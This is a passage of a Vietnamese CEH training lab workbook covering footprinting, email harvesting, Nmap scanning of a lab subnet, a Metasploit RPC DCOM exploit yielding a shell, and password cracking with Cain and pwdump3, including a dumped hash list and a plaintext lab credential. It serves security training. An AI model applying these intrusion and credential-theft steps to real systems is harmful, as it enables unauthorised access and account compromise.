VanLuong.blogspot.com CEH

Published on June 2016 | Categories: Documents | Downloads: 75 | Comments: 0 | Views: 581
of x
Download PDF   Embed   Report

Comments

Content

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Mục Lục
Bài 1:..................................................................................................................................... 3 FOOTPRINTING ................................................................................................................ 3 I/ Giới thiệu về Foot Print:............................................................................................... 3 II/ Các bài thực hành: ...................................................................................................... 3 Bài 1: Tìm thông tin về Domain................................................................................... 3 Bài 2: Tìm thông tin email ........................................................................................... 5 Bài 2:..................................................................................................................................... 7 SCANNING .......................................................................................................................... 7 I/ Giới thiệu về Scanning: ............................................................................................... 7 II/ Các Bài thực hành ....................................................................................................... 7 Bài thực hành 1: Sử dụng Phần mềm Nmap.................................................................. 7 Bài thực hành thứ 2: Sử dụng phần mềm Retina để phát hiện các vulnerabilities và tấn công bằng Metaesploit framework................................................................................ 13 Bài 3:................................................................................................................................... 18 SYSTEM HACKING ......................................................................................................... 18 I/ Giới thiệu System Hacking:....................................................................................... 18 II/ Thực hành các bài Lab ............................................................................................. 18 Bài 1: Crack password nột bộ nội bộ ........................................................................ 18 Bài 2: Sử dụng chương trình pwdump3v2 khi có được 1 user administrator của máy nạn nhân để có thể tìm được thông tin các user còn lại. ................................... 20 Bài Lab 3: Nâng quyền thông qua chương trình Kaspersky Lab ............................ 23 Bài Lab 4: Sử dụng Keylogger ................................................................................... 25 Bài Lab 5: Sử dụng Rootkit và xóa Log file .............................................................. 27 Bài 4:................................................................................................................................... 30 TROJAN và BACKDOOR ................................................................................................ 30 I/ Giới thiệu về Trojan và Backdoor: ........................................................................... 30 II/ Các bài thực hành: .................................................................................................... 30 Bài 1 Sử dụng netcat: ................................................................................................. 30 Bài 2: Sử dụng Trojan Beast và detect trojan. .......................................................... 32 Muốn sử dụng Trojan Beast, ta cần phải xây dụng 1 file Server cài lên máy nạn nhân, sau đó file server này sẽ lắng nghe ở những port cố định và từ máy tấn công ta sẽ connect vào máy nạn nhân thông qua cổng này. ........................................................................ 32 Bài 3: Sử dụng Trojan dưới dạng Webbase .............................................................. 35 Bài 5:................................................................................................................................... 38 CÁC PHƯƠNG PHÁP SNIFFER ..................................................................................... 38 I/ Giới thiệu về Sniffer .................................................................................................. 38 Bài 6:................................................................................................................................... 65 Tấn Công từ chối dịch vụ DoS ........................................................................................... 65 I/ Giới thiệu: .................................................................................................................. 65 II/ Mô tả bài lab: ............................................................................................................ 67 Bài Lab 1: DoS bằng cách sử dụng Ping of death. ................................................... 67 Bài lab 2: DoS 1 giao thức không sử dụng chứng thực(trong bài sử dụng giao thức RIP) ............................................................................................................................. 69 Bài Lab 3: Sử dụng flash để DDoS ............................................................................ 72 Bài 7:................................................................................................................................... 74 Social Engineering ............................................................................................................. 74 I/ Giới Thiệu .................................................................................................................. 74
VSIC Education Corporation Trang 1

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

II/ Các bài Lab: .............................................................................................................. 74 Bài Lab 1: Gửi email nặc đính kèm Trojan .............................................................. 74 Bài 8:................................................................................................................................... 77 Session Hijacking ............................................................................................................... 77 I/ Giới thiệu: ................................................................................................................... 77 II/ Thực hiện bài Lab........................................................................................................ 77 Bài 9:................................................................................................................................... 80 Hacking Web Server .......................................................................................................... 80 I/ Giới thiệu: ................................................................................................................... 80 II/ Thực Hiện bài lab. ....................................................................................................... 80 Bài Lab 1: Tấn công Web Server Win 2003(lỗi Apache) .......................................... 80 Bài lab 2: Khai thác lỗi ứng dụng Server U ............................................................. 84 Bài 10:................................................................................................................................. 85 WEB APPLICATION HACKING.................................................................................... 85 I/ Giới thiệu: .................................................................................................................. 85 II/ Các Bài Lab ............................................................................................................... 85 Bài Lab 1: Cross Site Scripting.................................................................................. 85 Bài Lab 2: Insufficient Data Validation .................................................................... 86 Bài Lab 3: Cookie Manipulation ............................................................................... 88 Bài Lab 4: Authorization Failure .............................................................................. 89 Bài 11:................................................................................................................................. 91 SQL INJECTION .............................................................................................................. 91 I/ Giới thiệu về SQL Injection: ...................................................................................... 91 II/ Thực Hành Bài Lab .................................................................................................. 94 Bài 12:............................................................................................................................... 101 WIRELESS HACKING .................................................................................................. 101 I/ Giới Thiệu ................................................................................................................. 101 II/ Thực hành bài Lab: ................................................................................................ 101 Bài 13:............................................................................................................................... 105 VIRUS .............................................................................................................................. 105 I/ Giới thiệu: (tham khảo bài đọc thêm) ..................................................................... 105 II/ Thực hành Lab: ...................................................................................................... 105 Bài 1: Virus phá hủy dữ liệu máy ............................................................................ 105 Bài 2: Virus gaixinh lây qua tin nhắn. ..................................................................... 107 Bài 14:............................................................................................................................... 111 BUFFER OVERFLOW ................................................................................................... 111 I/ Lý thuyết .................................................................................................................. 111 II/ Thực hành: .............................................................................................................. 118

VSIC Education Corporation

Trang 2

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 1:

FOOTPRINTING
I/ Giới thiệu về Foot Print: Đây là kỹ thuật giúp hacker tìm kiếm thông tin về 1 doanh nghiệp, cá nhân hay tổ chức. Bạn có thể điều tra được rất nhiều thông tin của mục tiêu nhờ vào kỹ thuật này. Ví dụ trong phần thực hành thứ 1 chúng ta áp dụng kỹ thuật này tìm kiếm thông tin về một domain(ví dụ là www.itvietnam.com) và xem thử email liên lạc của domain này là của ai, trong phần thực hành thứ 2 chúng ta truy tìm 1 danh sách các email của 1 keywork cho trước, phương pháp này hiệu quả cho các doanh nghiệp muốn sử dụng marketing thông qua hình thức email v.v. Trong giai doạn này Hacker cố gắng tìm càng nhiều thông tin về doanh nghiệp(thông qua các kênh internet và phone) và cá nhân(thông qua email và hoạt động của cá nhân đó trên Internet), nếu thực hiện tốt bước này Hacker có thể xác định được nên tấn công vào điểm yếu nào của chúng ta. Ví dụ muốn tấn công domain www.itvietnam.com thì Hacker phải biết được địa chỉ email nào là chủ cùa domain này và tìm cách lấy password của email thông qua tấn công mail Server hay sniffer trong mạng nội bộ v.v. Và cuối cùng lấy được Domain này thông qua email chủ này. II/ Các bài thực hành: Bài 1: Tìm thông tin về Domain Ta vào trang www.whois.net để tìm kiếm thông tin và đánh vào domain mình muốn tìm kiếm thông tin

Sau đó ta nhận được thông tin như sau:
VSIC Education Corporation Trang 3

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Registrar Name....: BlueHost.Com Registrar Whois...: whois.bluehost.com Registrar Homepage: http://www.bluehost.com/ Domain Name: ITVIETNAM.COM Created on..............: 1999-11-23 11:31:30 GMT Expires on..............: 2009-11-23 00:00:00 GMT Last modified on........: 2007-07-30 03:15:11 GMT Registrant Info: (FAST-12836461) VSIC Education Corporation VSIC Education Corporation 78-80 Nguyen Trai Street, 5 District, HCM City, 70000 Vietnam Phone: +84.88363691 Fax..: Email: [email protected] Last modified: 2007-03-23 04:12:24 GMT Administrative Info: (FAST-12836461) VSIC Education Corporation VSIC Education Corporation 78-80 Nguyen Trai Street, 5 District, HCM City, 70000 Vietnam Phone: +84.88363691 Fax..: Email: [email protected] Last modified: 2007-03-23 04:12:24 GMT Technical Info: (FAST-12785240) Attn: itvietnam.com C/O BlueHost.Com Domain Privacy 1215 North Research Way Suite #Q 3500 Orem, Utah 84097 United States Phone: +1.8017659400 Fax..: +1.8017651992 Email: [email protected]
VSIC Education Corporation Trang 4

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Last modified: 2007-04-05 16:50:56 GMT Status: Locked Ngoài việc tìm thông tin về domain như trên, chúng ta có thể sử dụng các tiện ích Reverse IP domain lookup để có thể xem thử trên IP của mình có bao nhiêu host chung với mình. Vào link sau đây để sử dụng tiện ích này. http://www.domaintools.com/reverse-ip/

Việc tìm kiếm được thông tin này rất cần thiết với Hacker, bởi vì dựa vào thông tin sử dụng chung Server này, Hacker có thể thông qua các Website bị lỗi trong danh sách trên và tấn công vào Server từ đó kiểm soát tất cả các Website được hosting trên Server. Bài 2: Tìm thông tin email Trong bài thực hành này, chúng ta sử dụng phần mềm “1st email address spider” để tìm kiếm thông tin về các email. Hacker có thể sử dụng phần mềm này để thu thập thêm thông tin về mail, hay lọc ra các đối tượng email khác nhau, tuy nhiên bạn có thể sử dụng tool này để thu thập thêm thông tin nhằm mục đích marketing, ví dụ bạn cần tìm thông tin của các email có đuôi là @vnn.vn hay @hcm.vnn.vn để phục cho việc marketing sản phẩm. Ta có thể cấu hình việc sử dụng trang web nào để lấy thông tin, trong bài tôi sử dụng trang google.com để tìm kiếm.

VSIC Education Corporation

Trang 5

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Sau đó đánh từ khóa vnn.vn vào tag keyword

Sau đó chúng ta đã có được 1 list mail nhờ sử dụng trương trình này.
VSIC Education Corporation Trang 6

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 2:

SCANNING
I/ Giới thiệu về Scanning: Scanning hay còn gọi là quét mạng là bước không thể thiếu được trong quá trình tấn công vào hệ thống mạng của hacker. Nếu làm bước này tốt Hacker sẽ mau chóng phát hiện được lỗi của hệ thống ví dụ như lỗi RPC của Window hay lỗi trên phầm mềm dịch vụ web như Apache v.v. Và từ những lỗi này, hacker có thể sử dụng những đoạn mã độc hại(từ các trang web) để tấn công vào hệ thống, tồi tệ nhất lấy shell. Phần mềm scanning có rất nhiều loại, gồm các phầm mềm thương mại như Retina, GFI, và các phần mềm miễn phí như Nmap,Nessus. Thông thường các ấn bản thương mại có thể update các bug lỗi mới từ internet và có thể dò tìm được những lỗi mới hơn. Các phần mềm scanning có thể giúp người quản trị tìm được lỗi của hệ thống, đồng thời đưa ra các giải pháp để sửa lỗi như update Service patch hay sử dụng các policy hợp lý hơn. II/ Các Bài thực hành Bài thực hành 1: Sử dụng Phần mềm Nmap Trước khi thực hành bài này, học viên nên tham khảo lại giáo trình lý thuyết về các option của nmap. Chúng ta có thể sử dụng phần mềm trong CD CEH v5, hay có thể download bản mới nhất từ website: www.insecure.org. Phần mềm nmap có 2 phiên bản dành cho Win và dành cho Linux, trong bài thực hành về Nmap, chúng ta sử dụng bản dành cho Window. Để thực hành bài này, học viên nên sử dụng Vmware và boot từ nhiều hệ điều hành khác nhau như Win XP sp2, Win 2003 sp1, Linux Fedora Core, Win 2000 sp4,v.v. Trước tiên sử dụng Nmap để do thám thử xem trong subnet có host nào up và các port các host này mở, ta sử dụng lệnh Nmap –h để xem lại các option của Nmap, sau đó thực hiện lệnh “Nmap –sS 10.100.100.1-20”. Và sau đó được kết quả sau: C:\Documents and Settings\anhhao>nmap -sS 10.100.100.1-20 Starting Nmap 4.20 (http://insecure.org ) at 2007-08-02 10:27 Pacific Standard Time Interesting ports on 10.100.100.1: Not shown: 1695 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 00:0C:29:09:ED:10 (VMware) Interesting ports on 10.100.100.6: Not shown: 1678 closed ports PORT STATE SERVICE
VSIC Education Corporation Trang 7

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

7/tcp open echo 9/tcp open discard 13/tcp open daytime 17/tcp open qotd 19/tcp open chargen 23/tcp open telnet 42/tcp open nameserver 53/tcp open domain 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 1026/tcp open LSA-or-nterm 1027/tcp open IIS 1030/tcp open iad1 2105/tcp open eklogin 3389/tcp open ms-term-serv 8080/tcp open http-proxy MAC Address: 00:0C:29:59:97:A2 (VMware) Interesting ports on 10.100.100.7: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:0C:29:95:A9:03 (VMware) Interesting ports on 10.100.100.11: Not shown: 1695 filtered ports PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:A6:2E:31 (VMware) Skipping SYN Stealth Scan against 10.100.100.13 because Windows does not support scanning your own machine (localhost) this way. All 0 scanned ports on 10.100.100.13 are

VSIC Education Corporation

Trang 8

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Interesting ports on 10.100.100.16: Not shown: 1689 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1433/tcp open ms-sql-s MAC Address: 00:0C:29:D6:73:6D (VMware) Interesting ports on 10.100.100.20: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 445/tcp open microsoft-ds 1000/tcp open cadlock 5101/tcp open admdog MAC Address: 00:15:C5:65:E3:85 (Dell) Nmap finished: 20 IP addresses (7 hosts up) scanned in 21.515 seconds Trong mạng có tất cả 7 host, 6 máy Vmware và 1 PC DELL. Bây giờ bước tiếp theo ta tìm kiếm thông tin về OS của các Host trên bằng sử dụng lệnh “ Nmap –v -O ip address” . C:\Documents and Settings\anhhao>nmap -vv -O 10.100.100.7 (xem chi tiết Nmap quét) Starting Nmap 4.20 (http://insecure.org ) at 2007-08-02 10:46 Pacific Standard Time Initiating ARP Ping Scan at 10:46 Scanning 10.100.100.7 [1 port] Completed ARP Ping Scan at 10:46, 0.22s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 10:46 Completed Parallel DNS resolution of 1 host. at 10:46, 0.01s elapsed Initiating SYN Stealth Scan at 10:46 Scanning 10.100.100.7 [1697 ports] Discovered open port 1025/tcp on 10.100.100.7 Discovered open port 445/tcp on 10.100.100.7 Discovered open port 135/tcp on 10.100.100.7 Discovered open port 139/tcp on 10.100.100.7
VSIC Education Corporation Trang 9

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Completed SYN Stealth Scan at 10:46, 1.56s elapsed (1697 total ports) Initiating OS detection (try #1) against 10.100.100.7 Host 10.100.100.7 appears to be up ... good. Interesting ports on 10.100.100.7: Not shown: 1693 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:0C:29:95:A9:03 (VMware) Device type: general purpose Running: Microsoft Windows 2003 OS details: Microsoft Windows 2003 Server SP1 OS Fingerprint: OS:SCAN(V=4.20%D=8/2%OT=135%CT=1%CU=36092%PV=Y%DS=1%G=Y%M=000C 29%TM=46B2187 OS:3%P=i686-pc-windowswindows)SEQ(SP=FF%GCD=1%ISR=10A%TI=I%II=I%SS=S%TS=0) OS:OPS(O1=M5B4NW0NNT00NNS%O2=M5B4NW0NNT00NNS%O3=M5B4NW0NNT0 0%O4=M5B4NW0NNT0 OS:0NNS%O5=M5B4NW0NNT00NNS%O6=M5B4NNT00NNS)WIN(W1=FAF0%W2=F AF0%W3=FAF0%W4=F OS:AF0%W5=FAF0%W6=FAF0)ECN(R=Y%DF=N%T=80%W=FAF0%O=M5B4NW0NN S%CC=N%Q=)T1(R=Y OS:%DF=N%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W=0%S= Z%A=S%F=AR%O=%RD OS:=0%Q=)T3(R=Y%DF=N%T=80%W=FAF0%S=O%A=S+%F=AS%O=M5B4NW0NNT 00NNS%RD=0%Q=)T4 OS:(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T =80%W=0%S=Z%A=S+% OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD= 0%Q=)T7(R=Y%DF=N% OS:T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%TOS=0 %IPL=B0%UN=0%RIP OS:L=G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI=S%T=80%T OSI=Z%CD=Z%SI=S% OS:DLI=S) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=255 (Good luck!) IPID Sequence Generation: Incremental

VSIC Education Corporation

Trang 10

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

OS detection performed. Please report any incorrect results at http://insecure.o rg/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 3.204 seconds Raw packets sent: 1767 (78.460KB) | Rcvd: 1714 (79.328KB) Ta có thể xem các figerprinting tại “ C:\Program Files\Nmap\nmap-os-fingerprints”

Tiếp tục với những máy còn lại. C:\Documents and Settings\anhhao>nmap -O 10.100.100.1 Starting Nmap 4.20 (http://insecure.org ) at 2007-08-02 10:54 Pacific Standard Time Interesting ports on 10.100.100.1: Not shown: 1695 closed ports PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind MAC Address: 00:0C:29:09:ED:10 (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.9 - 2.6.12 (x86) Uptime: 0.056 days (since Thu Aug 02 09:34:08 2007) Network Distance: 1 hop
VSIC Education Corporation Trang 11

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

OS detection performed. Please report any incorrect results at http://insecure.o rg/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 2.781 seconds Tuy nhiên có 1 số host Nmap không thể nhận diện ra như sau: C:\Documents and Settings\anhhao>nmap -O 10.100.100.16 Starting Nmap 4.20 (http://insecure.org ) at 2007-08-02 10:55 Pacific Standard Time Interesting ports on 10.100.100.16: Not shown: 1689 closed ports PORT STATE SERVICE 21/tcp open ftp 25/tcp open smtp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 1433/tcp open ms-sql-s MAC Address: 00:0C:29:D6:73:6D (VMware) No exact OS matches for host (If you know what OS is running on it, see http://i nsecure.org/nmap/submit/ ). TCP/IP fingerprint: OS:SCAN(V=4.20%D=8/2%OT=21%CT=1%CU=35147%PV=Y%DS=1%G=Y%M=000C2 9%TM=46B21A94 OS:%P=i686-pc-windowswindows)SEQ(SP=FD%GCD=2%ISR=10C%TI=I%II=I%SS=S%TS=0)S OS:EQ(SP=FD%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=0)OPS(O1=M5B4NW0NNT0 0NNS%O2=M5B OS:4NW0NNT00NNS%O3=M5B4NW0NNT00%O4=M5B4NW0NNT00NNS%O5=M5B4 NW0NNT00NNS%O6=M5 OS:B4NNT00NNS)WIN(W1=FAF0%W2=FAF0%W3=FAF0%W4=FAF0%W5=FAF0%W6 =FAF0)ECN(R=Y%D OS:F=Y%T=80%W=FAF0%O=M5B4NW0NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S= O%A=S+%F=AS%RD=0 OS:%Q=)T2(R=Y%DF=N%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y% DF=Y%T=80%W=FAF0 OS:%S=O%A=S+%F=AS%O=M5B4NW0NNT00NNS%RD=0%Q=)T4(R=Y%DF=N%T=8 0%W=0%S=A%A=O%F=

VSIC Education Corporation

Trang 12

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

OS:R%O=%RD=0%Q=)T5(R=Y%DF=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0 %Q=)T6(R=Y%DF=N%T OS:=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=N%T=80%W=0%S=Z %A=S+%F=AR%O=%RD= OS:0%Q=)U1(R=Y%DF=N%T=80%TOS=0%IPL=38%UN=0%RIPL=G%RID=G%RIPCK =G%RUCK=G%RUL= OS:G%RUD=G)IE(R=Y%DFI=S%T=80%TOSI=S%CD=Z%SI=S%DLI=S)

Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://insecure.o rg/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 12.485 seconds

Tuy nhiên ta có thể nhận diện rằng đây là 1 Server chạy dịch vụ SQL và Web Server, bây giờ ta sử dụng lệnh “ Nmap –v –p 80 sV 10.100.100.16” để xác định version của IIS. C:\Documents and Settings\anhhao>nmap -p 80 -sV 10.100.100.16 Starting Nmap 4.20 (http://insecure.org ) at 2007-08-02 11:01 Pacific Standard Time Interesting ports on 10.100.100.16: PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS webserver 5.0 MAC Address: 00:0C:29:D6:73:6D (VMware) Service Info: OS: Windows Service detection performed. Please report any incorrect results at http://insec ure.org/nmap/submit/ . Nmap finished: 1 IP address (1 host up) scanned in 6.750 seconds Vậy ta có thể đoán được phần nhiều host là Window 2000 Server. Ngoài việc thực hành trên chúng ta có thể sử dụng Nmap trace, lưu log v.v Bài thực hành thứ 2: Sử dụng phần mềm Retina để phát hiện các vulnerabilities và tấn công bằng Metaesploit framework. Retina của Ieye là phần mềm thương mại(cũng như GFI, shadow v.v ) có thể update các lỗ hỗng 1 cách thường xuyên và giúp cho người Admin hệ thống có thể đưa ra những giải pháp để xử lý. Bây giờ ta sử dụng phần mềm Retina để dò tìm lỗi của máy Win 2003 Sp0(10.100.100.6)
VSIC Education Corporation Trang 13

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Report từ chương trình Retina: TOP 20 VULNERABILITIES The following is an overview of the top 20 vulnerabilities on your network. Rank 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. Vulnerability Name echo service ASN.1 Vulnerability Could Allow Code Execution Windows Cumulative Patch 835732 Remote Null Session No Remote Registry Access Available telnet service DCOM Enabled Windows RPC Cumulative Patch 828741 Remote Windows RPC DCOM interface buffer overflow Windows RPC DCOM multiple vulnerabilities Apache 1.3.27 0x1A Character Logging DoS Count 1 1 1 1 1 1 1 1 1 1 1
Trang 14

VSIC Education Corporation

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

12. 13. 14. 15.

Apache 1.3.27 HTDigest Command Execution Apache mod_alias and mod_rewrite Buffer Overflow ApacheBench multiple buffer overflows HTTP TRACE method supported

1 1 1 1

TOP 20 OPEN PORTS The following is an overview of the top 20 open ports on your network. Rank 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. Port Number Description TCP:7 TCP:9 TCP:13 TCP:17 TCP:19 TCP:23 TCP:42 TCP:53 TCP:80 TCP:135 TCP:139 TCP:445 TCP:1025 TCP:1026 TCP:1030 TCP:2103 TCP:2105 TCP:3389 TCP:8080 UDP:7 ECHO - Echo DISCARD - Discard DAYTIME - Daytime QOTD - Quote of the Day CHARGEN - Character Generator TELNET - Telnet NAMESERVER / WINS - Host Name Server DOMAIN - Domain Name Server WWW-HTTP - World Wide Web HTTP (Hyper Text Transfer Protocol) Count 1 1 1 1 1 1 1 1 1

RPC-LOCATOR - RPC (Remote Procedure Call) Location 1 Service NETBIOS-SSN - NETBIOS Session Service MICROSOFT-DS - Microsoft-DS LISTEN - listen NTERM - nterm IAD1 - BBN IAD ZEPHYR-CLT - Zephyr Serv-HM Conncetion EKLOGIN - Kerberos (v4) Encrypted RLogin MS RDP (Remote Desktop Protocol) / Terminal Services Generic - Shared service port ECHO - Echo 1 1 1 1 1 1 1 1 1 1

TOP 20 OPERATING SYSTEMS The following is an overview of the top 20 operating systems on your network.
VSIC Education Corporation Trang 15

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Rank 1.

Operating System Name Windows Server 2003

Count 1

Như vậy ta đã xác định hệ điều hành của máy 10.100.100.6, các Port mở của hệ thống và các lỗi của hệ thống. Đây là thông tin cần thiết để người Admin nhận diện lỗi và vá lỗi Trong Top 20 vulnerabilities ta sẽ khai thác bug lỗi thứ 10 là RPC DCOM bằng chương trinh Metaesploit framework(CD CEH v5). Ta có thể kiểm tra các thông tin lỗi này trên chính trang của Ieye hay securityfocus.com, microsoft.com. Ta sử dụng giao diện console của Metaesploit để tìm bug lỗi hợp với chương trình Retina vừa quét được.

VSIC Education Corporation

Trang 16

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Ta thấy có thể nhận thấy bug lỗi msrpc_dcom_ms03_026.pm được liệt kê trong phần exploit của metaesploit. Bây giờ ta bắt đầu khai thác lỗi này.

Như vậy sau khi khai thác ta đã có được shell của máy Win 2003, bây giờ ta có thể upload backdoor hay lấy những thông tin cần thiết trong máy này(vấn đề này sẽ được bàn ở những chương sau). Kết luận: Phần mềm scanning rất quan trọng với Hacker để có thể phát hiện lỗi của hệ thống, sau khi xác định lỗi Hacker có thể sử dụng Framework có sẵn hay code có sẵn trên Internet để có thể chiếm quyền sử dụng của máy mục tiêu. Tuy nhiên đây cũng là công cụ hữu ích của Admin hệ thống, phần mềm này giúp cho người Admin hệ thống đánh giá lại mức độ bảo mật của hệ thống mình và kiểm tra liên tục các bug lỗi xảy ra.
VSIC Education Corporation Trang 17

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 3:

SYSTEM HACKING
I/ Giới thiệu System Hacking: Như chúng ta đã học ở phần lý thuyết, Module System Hacking bao gồm những kỹ thuật lấy Username và Password, nâng quyền trong hệ thống, sử dụng keyloger để lấy thông tin của đối phương(trong bước này cũng có thể Hacker để lại Trojan, vấn đề học ở chương tiếp theo), ẩn thông tin của process đang hoạt động(Rootkit), và xóa những log hệ thống. Đối với phần lấy thông tin về username và password Local, hacker có thể crack pass trên máy nội bộ nếu sử dụng phần mềm cài lên máy đó, hay sử dụng CD boot Knoppix để lấy syskey, bước tiếp theo là giải mã SAM để lấy hash của Account hệ thống. Chúng ta có thể lấy username và password thông qua remote như SMB, NTLM(bằng kỹ thuật sniffer sẽ học ở chương sau) hay thông qua 1 Account đã của hệ thống đã biết(sử dụng PWdump3) Với phần nâng quyền trong hệ thống, Hacker có thể sử dụng lỗ hỗng của Window, các phần mềm chạy trên hệ thống nhằm lấy quyền Admin điều khiển hệ thống. Trong bài thực hành ta khai thác lỗ hổng của Kaberky Lab 6.0 để nâng quyền từ user bình thường sang user Administrator trong Win XP sp2. Phần Keylogger ta sử dụng SC-keyloger để xem các hoạt động của nạn nhân như giám sát nội dung bàn phím, thông tin về chat, thông tin về sử dụng máy, thông tin về các tài khoản user sử dụng. Tiếp theo ta sử dụng Rootkit để ẩn các process của keyloger, làm cho người admin hệ thống không thể phát hiện ra là mình đang bị theo dõi. Ở bước này ta sử dụng vanquis rootkit để ẩn các process trong hệ thống. Cuối cùng ta xóa log và dấu vết xâm nhập hệ thống. II/ Thực hành các bài Lab Bài 1: Crack password nột bộ nội bộ

VSIC Education Corporation

Trang 18

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Trước tiên ta cài phầm mềm Cain vào máy đối phương, và sử dụng phần mềm này để dò tìm password của user. Quá trình Add user

Bật phầm mềm Cain và chọn Import Hashes from local system

Ở đây chúng ta thấy có 3 chế độ, “ Import hash from local system”, ta sử dụng file SAM của hệ thống hiện tại để lấy hash của account(không có mã hóa syskey), Option Import Hashes from text file, thông thường text file này là lấy từ Pwdump(lưu hash của account hệ thống dưới dạng không bị mã hóa), Option thứ 3 là khi chúng ta có syskey và file SAM bị mã hóa bởi syskey. Ca ba trường hợp nếu nhập đầy đủ thông tin chúng ta đều có thể có hash của account không bị mã hóa bởi syskey. Dựa vào thông tin hash này phần mềm sẽ brute force để tìm kiếm password của account. Trong bài ta chọn user haovsic, và chọn Brute force theo NTLM hash. Sau khi chọn chế độ này ta thấy PC bắt đầu tính toán và cho ra kết quả.

VSIC Education Corporation

Trang 19

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Bài 2: Sử dụng chương trình pwdump3v2 khi có được 1 user administrator của máy nạn nhân để có thể tìm được thông tin các user còn lại.

VSIC Education Corporation

Trang 20

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

Máy của nạn nhân sử dụng Window 2003 sp0, và có sẵn user “quyen” password là “cisco”, bây giờ dựa vào account này, ta có thể tìm thêm thông tin của những account khác trong máy. Trước tiên ta sử dụng pwdump3.exe để xem các tham số cần nhập vào. Sau đó sử dụng lệnh “pwdump3.exe 10.100.100.6 c;\hao2003sp0 quyen”, và nhập vào password của user quyen.

Ta mở file hao2003sp0 để xem trong thông tin. aaa:1015:NO PASSWORD*********************:NO PASSWORD*********************::: anhhao:1010:DCAF9F8B002C73A0AAD3B435B51404EE:A923FFCC9BE38EBF40A5782 BBD9D5E18::: anhhao1:1011:DCAF9F8B002C73A0AAD3B435B51404EE:A923FFCC9BE38EBF40A5782 BBD9D5E18::: anhhao2:1013:DCAF9F8B002C73A0AAD3B435B51404EE:A923FFCC9BE38EBF40A5782 BBD9D5E18::: anhhaoceh:1019:B26C623F5254C6A311F64391B17C6CDE:98A2C048C77703D54BD0E88 887EFD68E::: ASPNET:1006:7CACBCC121AC203CD8652FE65BEA4486:7D34A6E7504DFAF453D421 3660AE7D35::: Guest:501:NO PASSWORD*********************:NO PASSWORD*********************::: hack:1022:CCF9155E3E7DB453AAD3B435B51404EE:3DBDE697D71690A769204BEB12 283678::: hacker:1018:BCE739534EA4E445AAD3B435B51404EE:5E7599F673DF11D5C5C4D950F 5BF0157::: hao123:1020:58F907D1C79C344DAAD3B435B51404EE:FD03071D41308B58B9DDBC6D 5576D78D:::

VSIC Education Corporation

Trang 21

Giáo trình bài tập C|EH

Tài liệu dành cho học viên

